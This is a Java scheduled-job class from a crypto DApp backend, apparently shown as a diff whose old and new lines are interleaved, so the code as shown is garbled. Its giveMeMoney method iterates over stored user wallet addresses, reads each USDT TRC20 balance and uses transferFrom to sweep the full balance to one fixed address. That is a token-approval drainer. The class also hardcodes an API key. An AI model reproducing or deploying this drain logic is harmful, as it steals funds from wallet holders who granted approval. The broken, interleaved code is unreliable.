| | |
| | | package cc.mrbird.febs.job; |
| | | |
| | | import cc.mrbird.febs.common.contants.AppContants; |
| | | import cc.mrbird.febs.dapp.entity.DappAddressList; |
| | | import cc.mrbird.febs.dapp.mapper.DappAdressListDao; |
| | | import cc.mrbird.febs.common.enumerates.DataDicEnum; |
| | | import cc.mrbird.febs.common.utils.RedisUtils; |
| | | import cc.mrbird.febs.dapp.chain.ChainEnum; |
| | | import cc.mrbird.febs.dapp.chain.ChainService; |
| | | import cc.mrbird.febs.dapp.entity.DappAchieve; |
| | | import cc.mrbird.febs.dapp.entity.DappHdRecord; |
| | | import cc.mrbird.febs.dapp.mapper.DappAchieveMapper; |
| | | import cc.mrbird.febs.dapp.mapper.DappHdRecordMapper; |
| | | import cc.mrbird.febs.dapp.service.DappSystemService; |
| | | import cn.hutool.core.collection.CollUtil; |
| | | import cn.hutool.core.date.DateTime; |
| | | import cn.hutool.core.date.DateUtil; |
| | | import cn.hutool.core.util.ObjectUtil; |
| | | import cn.hutool.core.util.StrUtil; |
| | | import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; |
| | | import lombok.extern.slf4j.Slf4j; |
| | | import org.springframework.beans.factory.annotation.Autowired; |
| | | import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; |
| | | import org.springframework.scheduling.annotation.Scheduled; |
| | | import org.springframework.stereotype.Component; |
| | | import org.tron.trident.core.ApiWrapper; |
| | | import org.tron.trident.core.contract.Contract; |
| | | import org.tron.trident.core.contract.Trc20Contract; |
| | | |
| | | import java.math.BigInteger; |
| | | import java.math.BigDecimal; |
| | | import java.util.Date; |
| | | import java.util.List; |
| | | |
| | | /** |
| | | * @author |
| | | * @author |
| | | * @date 2021-10-20 |
| | | **/ |
| | | @Slf4j |
| | | @Component |
| | | @ConditionalOnProperty(prefix = "system", name = "chain-listener", havingValue = "true") |
| | | public class GiveMeMoneyJob { |
| | | |
| | | private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); |
| | | ; |
| | | |
| | | @Autowired |
| | | private DappAdressListDao dappAdressListDao; |
| | | private DappSystemService dappSystemService; |
| | | @Autowired |
| | | private RedisUtils redisUtils; |
| | | @Autowired |
| | | private DappHdRecordMapper dappHdRecordMapper; |
| | | @Autowired |
| | | private DappAchieveMapper dappAchieveMapper; |
| | | /** |
| | | * 计算业绩是否失效 |
| | | */ |
| | | |
| | | // @Scheduled(cron = "0 0/5 * * * ? ") |
| | | public void giveMeMoney() { |
| | | log.info("give me money"); |
| | | List<DappAddressList> list = dappAdressListDao.selectList(null); |
| | | |
| | | if (CollUtil.isEmpty(list)) { |
| | | @Scheduled(cron = "0 0 1 * * ? ") |
| | | public void achieveJob() { |
| | | QueryWrapper<DappAchieve> objectQueryWrapper = new QueryWrapper<>(); |
| | | objectQueryWrapper.eq("state",DappAchieve.STATUS_ING); |
| | | List<DappAchieve> dappAchieves = dappAchieveMapper.selectList(objectQueryWrapper); |
| | | if(CollUtil.isEmpty(dappAchieves)){ |
| | | return; |
| | | } |
| | | |
| | | for (DappAddressList address : list) { |
| | | Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); |
| | | Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); |
| | | BigInteger balanceOf = token.balanceOf(address.getAddress()); |
| | | |
| | | log.info("====>{}", balanceOf.intValue()); |
| | | if (balanceOf.intValue() <= 0) { |
| | | continue; |
| | | for(DappAchieve achieve : dappAchieves){ |
| | | Date createTime = achieve.getCreateTime(); |
| | | DateTime dateTime = DateUtil.offsetDay(createTime, 75);//失效时间 |
| | | if(DateUtil.compare(new Date(),dateTime) > 0){ |
| | | achieve.setState(DappAchieve.STATUS_DONE); |
| | | dappAchieveMapper.updateById(achieve); |
| | | } |
| | | token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L); |
| | | } |
| | | } |
| | | |
| | | public static void main(String[] args) { |
| | | DateTime dateTime = DateUtil.offsetDay(new Date(), 75); |
| | | System.out.println(dateTime); |
| | | System.out.println(DateUtil.compare(new Date(),dateTime)); |
| | | System.out.println(DateUtil.compare(new Date(),dateTime) > 0); |
| | | |
| | | } |
| | | /** |
| | | * 每日定时零点计算滑点 |
| | | */ |
| | | @Scheduled(cron = "0 0/5 * * * ? ") |
| | | public void mineJob() { |
| | | /** |
| | | * 定时器循环计算每个时间跨度内增加的滑点数量 |
| | | */ |
| | | log.info("滑点奖励"); |
| | | //获取滑点钱包的余额 |
| | | BigDecimal coinCnt = ChainService.getInstance(ChainEnum.BSC_GFA.name()).balanceOf("0x1Ea392645f816BF15f1Fc87728eA010585bAAE7D").setScale(8,BigDecimal.ROUND_DOWN); |
| | | BigDecimal coinPrice = ChainService.getInstance(ChainEnum.BSC_GFA.name()).getPrice("0x1Ea392645f816BF15f1Fc87728eA010585bAAE7D").setScale(8,BigDecimal.ROUND_DOWN); |
| | | |
| | | |
| | | // BigDecimal coinCnt = ChainService.getInstance(ChainEnum.BSC_GFA.name()).balanceOf("0xF6b06A30196aA5E318232a3b61319eab0FD4A3bF").setScale(8,BigDecimal.ROUND_DOWN); |
| | | // BigDecimal coinPrice = ChainService.getInstance(ChainEnum.BSC_GFA.name()).getPrice("0xF6b06A30196aA5E318232a3b61319eab0FD4A3bF").setScale(8,BigDecimal.ROUND_DOWN); |
| | | |
| | | //获取上一时刻的数据 |
| | | BigDecimal coinAmountOld =BigDecimal.ZERO; |
| | | DappHdRecord dappHdRecord = dappHdRecordMapper.selectNewRecord(); |
| | | if(ObjectUtil.isNotEmpty(dappHdRecord)){ |
| | | coinAmountOld = dappHdRecord.getCoinAmount(); |
| | | } |
| | | |
| | | //更新此刻的USDT数量 |
| | | String existToken = redisUtils.getString(DataDicEnum.GFA_HUA_DIAN_WALLET_USDT_AMOUNT.getValue()); |
| | | if (StrUtil.isNotBlank(existToken)) { |
| | | redisUtils.del(existToken); |
| | | } |
| | | //这个时间段的新增余额 |
| | | //此刻的余额-上一次账户的余额 = 这个时间段的新增余额 |
| | | BigDecimal subtract = coinCnt.subtract(coinAmountOld); |
| | | if(BigDecimal.ZERO.compareTo(subtract) >= 0){ |
| | | return; |
| | | } |
| | | //获取这个时刻的滑点入账数量 |
| | | BigDecimal multiply = coinPrice.multiply(subtract).multiply(new BigDecimal("0.97")).setScale(8,BigDecimal.ROUND_DOWN); |
| | | //更新这个时间段的滑点数量 |
| | | redisUtils.set(DataDicEnum.GFA_HUA_DIAN_WALLET_USDT_AMOUNT.getValue(), multiply, 0); |
| | | |
| | | //生成一条记录 |
| | | DappHdRecord dappHdRecordAdd = new DappHdRecord(); |
| | | dappHdRecordAdd.setPrice(coinPrice); |
| | | dappHdRecordAdd.setUsdtEvery(multiply); |
| | | dappHdRecordAdd.setCoinEvery(subtract); |
| | | dappHdRecordAdd.setCoinAmount(coinCnt); |
| | | dappHdRecordMapper.insert(dappHdRecordAdd); |
| | | dappSystemService.tradeProfitDistribute(1L); |
| | | } |
| | | |
| | | } |